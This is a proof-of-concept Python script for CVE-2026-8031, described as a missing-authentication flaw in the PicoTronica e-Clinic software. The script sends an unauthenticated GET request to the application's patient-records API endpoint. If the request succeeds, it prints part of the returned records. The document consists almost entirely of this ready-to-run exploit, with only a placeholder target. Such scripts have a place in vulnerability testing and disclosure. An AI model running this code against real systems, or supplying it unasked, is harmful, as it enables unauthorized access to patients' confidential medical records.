CVE-2026-8031 PicoTronica e-Clinic认证缺失漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-8031 - Missing Authentication Checks if the /patient-records endpoint is accessible without auth. """ # The vulnerable endpoint path endpoint = "/cdemos/echs/api/v2/patient-records" full_url = f"{target_url}{endpoint}" try: print(f"[*] Sending request to {full_url}...") # Send request without authentication headers or cookies response = requests.get(full_url, timeout=10) if response.status_code == 200: print("[+] Vulnerability confirmed! Endpoint is accessible.") print("[+] Response content:") print(response.text[:200]) # Print first 200 chars else: print(f"[-] Request returned status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] An error occurred: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with actual target check_vulnerability(target)